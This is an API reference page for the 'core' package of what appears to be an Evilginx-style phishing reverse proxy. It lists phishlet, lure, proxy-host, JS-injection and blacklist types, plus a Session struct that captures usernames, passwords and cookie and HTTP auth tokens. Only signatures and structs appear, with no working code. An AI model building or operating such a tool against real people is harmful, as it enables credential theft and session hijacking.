core

package
v0.0.0-...-b15c6f9 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 4, 2023 License: BSD-3-Clause Imports: 48 Imported by: 0

Documentation

Index

Constants

View Source
const (
	CFG_GENERAL      = "general"
	CFG_CERTIFICATES = "certificates"
	CFG_LURES        = "lures"
	CFG_PROXY        = "proxy"
	CFG_PHISHLETS    = "phishlets"
	CFG_BLACKLIST    = "blacklist"
	CFG_SUBPHISHLETS = "subphishlets"
)
View Source
const (
	CONVERT_TO_ORIGINAL_URLS = 0
	CONVERT_TO_PHISHING_URLS = 1
)
View Source
const (

	// borrowed from Modlishka project (https://github.com/drk1wi/Modlishka)
	MATCH_URL_REGEXP                = `` /* 965-byte string literal not displayed */
	MATCH_URL_REGEXP_WITHOUT_SCHEME = `` /* 926-byte string literal not displayed */
)
View Source
const (
	AlignLeft   = Alignment(0)
	AlignCenter = Alignment(1)
	AlignRight  = Alignment(2)
)
View Source
const (
	DEFAULT_PROMPT = ": "
	LAYER_TOP      = 1
)
View Source
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
View Source
const (
	HOME_DIR = ".evilphish"
)
View Source
const (
	VERSION = "3.0.0"
)

Variables

View Source
var AUTH_TOKEN_TYPES = []string{"cookie", "body", "http"}
View Source
var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"}

Functions

func AsDescription

func AsDescription(keys []string, vals []string) string

func AsRows

func AsRows(keys []string, vals []string) string

func AsTable

func AsTable(columns []string, rows [][]string) string
func Banner()

func CreateDir

func CreateDir(path string, perm os.FileMode) error

func GenRandomAlphanumString

func GenRandomAlphanumString(n int) string

func GenRandomString

func GenRandomString(n int) string

func GenRandomToken

func GenRandomToken() string

func ReadFromFile

func ReadFromFile(path string) ([]byte, error)

func SaveToFile

func SaveToFile(b []byte, fpath string, perm fs.FileMode) error

Types

type Alignment

type Alignment int

type Blacklist

type Blacklist struct {
	// contains filtered or unexported fields
}

func NewBlacklist

func NewBlacklist(path string) (*Blacklist, error)

func (*Blacklist) AddIP

func (bl *Blacklist) AddIP(ip string) error

func (*Blacklist) GetStats

func (bl *Blacklist) GetStats() (int, int)

func (*Blacklist) IsBlacklisted

func (bl *Blacklist) IsBlacklisted(ip string) bool

func (*Blacklist) IsVerbose

func (bl *Blacklist) IsVerbose() bool

func (*Blacklist) SetVerbose

func (bl *Blacklist) SetVerbose(verbose bool)

type BlacklistConfig

type BlacklistConfig struct {
	Mode string `mapstructure:"mode" json:"mode" yaml:"mode"`
}

type BlockIP

type BlockIP struct {
	// contains filtered or unexported fields
}

type BodyAuthToken

type BodyAuthToken struct {
	// contains filtered or unexported fields
}

type CertDb

type CertDb struct {
	// contains filtered or unexported fields
}

func NewCertDb

func NewCertDb(cache_dir string, cfg *Config, ns *Nameserver) (*CertDb, error)

func (*CertDb) GetEmail

func (o *CertDb) GetEmail() string

type CertificatesConfig

type CertificatesConfig struct {
}

type Config

type Config struct {
	// contains filtered or unexported fields
}

func NewConfig

func NewConfig(cfg_dir string, path string) (*Config, error)

func (*Config) AddLure

func (c *Config) AddLure(site string, l *Lure)

func (*Config) AddPhishlet

func (c *Config) AddPhishlet(site string, pl *Phishlet)

func (*Config) AddSubPhishlet

func (c *Config) AddSubPhishlet(site string, parent_site string, customParams map[string]string) error

func (*Config) CleanUp

func (c *Config) CleanUp()

func (*Config) DeleteLure

func (c *Config) DeleteLure(index int) error

func (*Config) DeleteLures

func (c *Config) DeleteLures(index []int) []int

func (*Config) DeleteSubPhishlet

func (c *Config) DeleteSubPhishlet(site string) error

func (*Config) EnableProxy

func (c *Config) EnableProxy(enabled bool)

func (*Config) GetActiveHostnames

func (c *Config) GetActiveHostnames(site string) []string

func (*Config) GetBaseDomain

func (c *Config) GetBaseDomain() string

func (*Config) GetBlacklistMode

func (c *Config) GetBlacklistMode() string

func (*Config) GetDnsPort

func (c *Config) GetDnsPort() int

func (*Config) GetEnabledSites

func (c *Config) GetEnabledSites() []string

func (*Config) GetHttpsPort

func (c *Config) GetHttpsPort() int

func (*Config) GetLure

func (c *Config) GetLure(index int) (*Lure, error)

func (*Config) GetLureByPath

func (c *Config) GetLureByPath(site string, path string) (*Lure, error)

func (*Config) GetPhishlet

func (c *Config) GetPhishlet(site string) (*Phishlet, error)

func (*Config) GetPhishletNames

func (c *Config) GetPhishletNames() []string

func (*Config) GetRedirectorsDir

func (c *Config) GetRedirectorsDir() string

func (*Config) GetServerIP

func (c *Config) GetServerIP() string

func (*Config) GetSiteDomain

func (c *Config) GetSiteDomain(site string) (string, bool)

func (*Config) IsActiveHostname

func (c *Config) IsActiveHostname(host string) bool

func (*Config) IsLureHostnameValid

func (c *Config) IsLureHostnameValid(hostname string) bool

func (*Config) IsSiteEnabled

func (c *Config) IsSiteEnabled(site string) bool

func (*Config) IsSiteHidden

func (c *Config) IsSiteHidden(site string) bool

func (*Config) LoadSubPhishlets

func (c *Config) LoadSubPhishlets()

func (*Config) PhishletConfig

func (c *Config) PhishletConfig(site string) *PhishletConfig

func (*Config) ResetAllSites

func (c *Config) ResetAllSites()

func (*Config) SavePhishlets

func (c *Config) SavePhishlets()

func (*Config) SaveSubPhishlets

func (c *Config) SaveSubPhishlets()

func (*Config) SetBaseDomain

func (c *Config) SetBaseDomain(domain string)

func (*Config) SetBlacklistMode

func (c *Config) SetBlacklistMode(mode string)

func (*Config) SetDnsPort

func (c *Config) SetDnsPort(port int)

func (*Config) SetHttpsPort

func (c *Config) SetHttpsPort(port int)

func (*Config) SetLure

func (c *Config) SetLure(index int, l *Lure) error

func (*Config) SetProxyAddress

func (c *Config) SetProxyAddress(address string)

func (*Config) SetProxyPassword

func (c *Config) SetProxyPassword(password string)

func (*Config) SetProxyPort

func (c *Config) SetProxyPort(port int)

func (*Config) SetProxyType

func (c *Config) SetProxyType(ptype string)

func (*Config) SetProxyUsername

func (c *Config) SetProxyUsername(username string)

func (*Config) SetRedirectUrl

func (c *Config) SetRedirectUrl(url string)

func (*Config) SetRedirectorsDir

func (c *Config) SetRedirectorsDir(path string)

func (*Config) SetServerIP

func (c *Config) SetServerIP(ip_addr string)

func (*Config) SetSiteDisabled

func (c *Config) SetSiteDisabled(site string) error

func (*Config) SetSiteEnabled

func (c *Config) SetSiteEnabled(site string) error

func (*Config) SetSiteHidden

func (c *Config) SetSiteHidden(site string, hide bool) error

func (*Config) SetSiteHostname

func (c *Config) SetSiteHostname(site string, hostname string) bool

func (*Config) VerifyPhishlets

func (c *Config) VerifyPhishlets()

type ConfigAuthToken

type ConfigAuthToken struct {
	Domain *string   `mapstructure:"domain"`
	Keys   *[]string `mapstructure:"keys"`
	Type   *string   `mapstructure:"type"`
	Path   *string   `mapstructure:"path"`
	Name   *string   `mapstructure:"name"`
	Search *string   `mapstructure:"search"`
	Header *string   `mapstructure:"header"`
}

type ConfigCredentials

type ConfigCredentials struct {
	Username *ConfigPostField   `mapstructure:"username"`
	Password *ConfigPostField   `mapstructure:"password"`
	Custom   *[]ConfigPostField `mapstructure:"custom"`
}

type ConfigForcePost

type ConfigForcePost struct {
	Path   *string                  `mapstructure:"path"`
	Search *[]ConfigForcePostSearch `mapstructure:"search"`
	Force  *[]ConfigForcePostForce  `mapstructure:"force"`
	Type   *string                  `mapstructure:"type"`
}

type ConfigForcePostForce

type ConfigForcePostForce struct {
	Key   *string `mapstructure:"key"`
	Value *string `mapstructure:"value"`
}

type ConfigForcePostSearch

type ConfigForcePostSearch struct {
	Key    *string `mapstructure:"key"`
	Search *string `mapstructure:"search"`
}

type ConfigJsInject

type ConfigJsInject struct {
	TriggerDomains *[]string `mapstructure:"trigger_domains"`
	TriggerPaths   *[]string `mapstructure:"trigger_paths"`
	TriggerParams  []string  `mapstructure:"trigger_params"`
	Script         *string   `mapstructure:"script"`
}

type ConfigLogin

type ConfigLogin struct {
	Domain *string `mapstructure:"domain"`
	Path   *string `mapstructure:"path"`
}

type ConfigParam

type ConfigParam struct {
	Name     string  `mapstructure:"name"`
	Default  *string `mapstructure:"default"`
	Required *bool   `mapstructure:"required"`
}

type ConfigPhishlet

type ConfigPhishlet struct {
	Name        string             `mapstructure:"name"`
	Params      *[]ConfigParam     `mapstructure:"params"`
	ProxyHosts  *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
	SubFilters  *[]ConfigSubFilter `mapstructure:"sub_filters"`
	AuthTokens  *[]ConfigAuthToken `mapstructure:"auth_tokens"`
	AuthUrls    []string           `mapstructure:"auth_urls"`
	Credentials *ConfigCredentials `mapstructure:"credentials"`
	ForcePosts  *[]ConfigForcePost `mapstructure:"force_post"`
	LandingPath *[]string          `mapstructure:"landing_path"`
	LoginItem   *ConfigLogin       `mapstructure:"login"`
	JsInject    *[]ConfigJsInject  `mapstructure:"js_inject"`
}

type ConfigPostField

type ConfigPostField struct {
	Key    *string `mapstructure:"key"`
	Search *string `mapstructure:"search"`
	Type   string  `mapstructure:"type"`
}

type ConfigProxyHost

type ConfigProxyHost struct {
	PhishSub   *string `mapstructure:"phish_sub"`
	OrigSub    *string `mapstructure:"orig_sub"`
	Domain     *string `mapstructure:"domain"`
	Session    bool    `mapstructure:"session"`
	IsLanding  bool    `mapstructure:"is_landing"`
	AutoFilter *bool   `mapstructure:"auto_filter"`
}

type ConfigSubFilter

type ConfigSubFilter struct {
	Hostname     *string   `mapstructure:"triggers_on"`
	Sub          *string   `mapstructure:"orig_sub"`
	Domain       *string   `mapstructure:"domain"`
	Search       *string   `mapstructure:"search"`
	Replace      *string   `mapstructure:"replace"`
	Mimes        *[]string `mapstructure:"mimes"`
	RedirectOnly bool      `mapstructure:"redirect_only"`
	WithParams   *[]string `mapstructure:"with_params"`
}

type CookieAuthToken

type CookieAuthToken struct {
	// contains filtered or unexported fields
}

type DiscordWebhookPayload

type DiscordWebhookPayload struct {
	Content string              `json:"content"`
	Embeds  []map[string]string `json:"embeds"`
}

type ForcePost

type ForcePost struct {
	// contains filtered or unexported fields
}

type ForcePostForce

type ForcePostForce struct {
	// contains filtered or unexported fields
}

type ForcePostSearch

type ForcePostSearch struct {
	// contains filtered or unexported fields
}

type GeneralConfig

type GeneralConfig struct {
	Domain      string `mapstructure:"domain" json:"domain" yaml:"domain"`
	Ipv4        string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
	RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
	HttpsPort   int    `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
	DnsPort     int    `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
}

type Help

type Help struct {
	// contains filtered or unexported fields
}

func NewHelp

func NewHelp() (*Help, error)

func (*Help) AddCommand

func (h *Help) AddCommand(cmd string, category string, cmd_help string, info string, layer int, completer *readline.PrefixCompleter)

func (*Help) AddSubCommand

func (h *Help) AddSubCommand(cmd string, sub_cmds []string, sub_disp string, cmd_help string)

func (*Help) GetCommands

func (h *Help) GetCommands() []string

func (*Help) GetPrefixCommands

func (h *Help) GetPrefixCommands(layer int) []string

func (*Help) GetPrefixCompleter

func (h *Help) GetPrefixCompleter(layer int) *readline.PrefixCompleter

func (*Help) Print

func (h *Help) Print(layer int)

func (*Help) PrintBrief

func (h *Help) PrintBrief(cmd string) error

type HttpAuthToken

type HttpAuthToken struct {
	// contains filtered or unexported fields
}

type HttpProxy

type HttpProxy struct {
	Server *http.Server
	Proxy  *goproxy.ProxyHttpServer
	// contains filtered or unexported fields
}

func NewHttpProxy

func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error)

func (*HttpProxy) Start

func (p *HttpProxy) Start() error

func (*HttpProxy) TLSConfigFromCA

func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error)

type HttpServer

type HttpServer struct {
	// contains filtered or unexported fields
}

func NewHttpServer

func NewHttpServer() (*HttpServer, error)

func (*HttpServer) AddACMEToken

func (s *HttpServer) AddACMEToken(token string, keyAuth string)

func (*HttpServer) ClearACMETokens

func (s *HttpServer) ClearACMETokens()

func (*HttpServer) Start

func (s *HttpServer) Start()

type JsInject

type JsInject struct {
	// contains filtered or unexported fields
}

type LoginUrl

type LoginUrl struct {
	// contains filtered or unexported fields
}

type Lure

type Lure struct {
	Hostname        string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
	Path            string `mapstructure:"path" json:"path" yaml:"path"`
	RedirectUrl     string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
	Phishlet        string `mapstructure:"phishlet" json:"phishlet" yaml:"phishlet"`
	Redirector      string `mapstructure:"redirector" json:"redirector" yaml:"redirector"`
	UserAgentFilter string `mapstructure:"ua_filter" json:"ua_filter" yaml:"ua_filter"`
	Info            string `mapstructure:"info" json:"info" yaml:"info"`
	OgTitle         string `mapstructure:"og_title" json:"og_title" yaml:"og_title"`
	OgDescription   string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"`
	OgImageUrl      string `mapstructure:"og_image" json:"og_image" yaml:"og_image"`
	OgUrl           string `mapstructure:"og_url" json:"og_url" yaml:"og_url"`
}

type Nameserver

type Nameserver struct {
	// contains filtered or unexported fields
}

func NewNameserver

func NewNameserver(cfg *Config) (*Nameserver, error)

func (*Nameserver) Reset

func (o *Nameserver) Reset()

func (*Nameserver) Start

func (o *Nameserver) Start()

type Phishlet

type Phishlet struct {
	Name       string
	ParentName string
	Path       string
	Author     string
	Version    PhishletVersion
	// contains filtered or unexported fields
}

func NewPhishlet

func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error)

func (*Phishlet) Clear

func (p *Phishlet) Clear()

func (*Phishlet) GenerateTokenSet

func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string

func (*Phishlet) GetLoginUrl

func (p *Phishlet) GetLoginUrl() string

func (*Phishlet) GetLureUrl

func (p *Phishlet) GetLureUrl(path string) (string, error)

func (*Phishlet) GetPhishHosts

func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string

func (*Phishlet) GetScriptInject

func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error)

func (*Phishlet) LoadFromFile

func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[string]string) error

func (*Phishlet) MimeExists

func (p *Phishlet) MimeExists(mime string) bool

type PhishletConfig

type PhishletConfig struct {
	Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
	Enabled  bool   `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
	Visible  bool   `mapstructure:"visible" json:"visible" yaml:"visible"`
}

type PhishletVersion

type PhishletVersion struct {
	// contains filtered or unexported fields
}

type PostField

type PostField struct {
	// contains filtered or unexported fields
}

type ProxyConfig

type ProxyConfig struct {
	Type     string `mapstructure:"type" json:"type" yaml:"type"`
	Address  string `mapstructure:"address" json:"address" yaml:"address"`
	Port     int    `mapstructure:"port" json:"port" yaml:"port"`
	Username string `mapstructure:"username" json:"username" yaml:"username"`
	Password string `mapstructure:"password" json:"password" yaml:"password"`
	Enabled  bool   `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
}

type ProxyHost

type ProxyHost struct {
	// contains filtered or unexported fields
}

type ProxySession

type ProxySession struct {
	SessionId    string
	Created      bool
	PhishDomain  string
	PhishletName string
	Index        int
}

type Session

type Session struct {
	Id             string
	Name           string
	Username       string
	Password       string
	Custom         map[string]string
	Params         map[string]string
	BodyTokens     map[string]string
	HttpTokens     map[string]string
	CookieTokens   map[string]map[string]*database.CookieToken
	RedirectURL    string
	IsDone         bool
	IsAuthUrl      bool
	IsForwarded    bool
	ProgressIndex  int
	RedirectCount  int
	PhishLure      *Lure
	RedirectorName string
	LureDirPath    string
}

func NewSession

func NewSession(name string) (*Session, error)

func (*Session) AddCookieAuthToken

func (s *Session) AddCookieAuthToken(domain string, key string, value string, path string, http_only bool, expires time.Time)

func (*Session) AllCookieAuthTokensCaptured

func (s *Session) AllCookieAuthTokensCaptured(authTokens map[string][]*CookieAuthToken) bool

func (*Session) SetCustom

func (s *Session) SetCustom(name string, value string)

func (*Session) SetPassword

func (s *Session) SetPassword(password string)

func (*Session) SetUsername

func (s *Session) SetUsername(username string)

type SubFilter

type SubFilter struct {
	// contains filtered or unexported fields
}

type SubPhishlet

type SubPhishlet struct {
	Name       string            `mapstructure:"name" json:"name" yaml:"name"`
	ParentName string            `mapstructure:"parent_name" json:"parent_name" yaml:"parent_name"`
	Params     map[string]string `mapstructure:"params" json:"params" yaml:"params"`
}

type Terminal

type Terminal struct {
	// contains filtered or unexported fields
}

func NewTerminal

func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error)

func (*Terminal) Close

func (t *Terminal) Close()

func (*Terminal) DoWork

func (t *Terminal) DoWork()

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL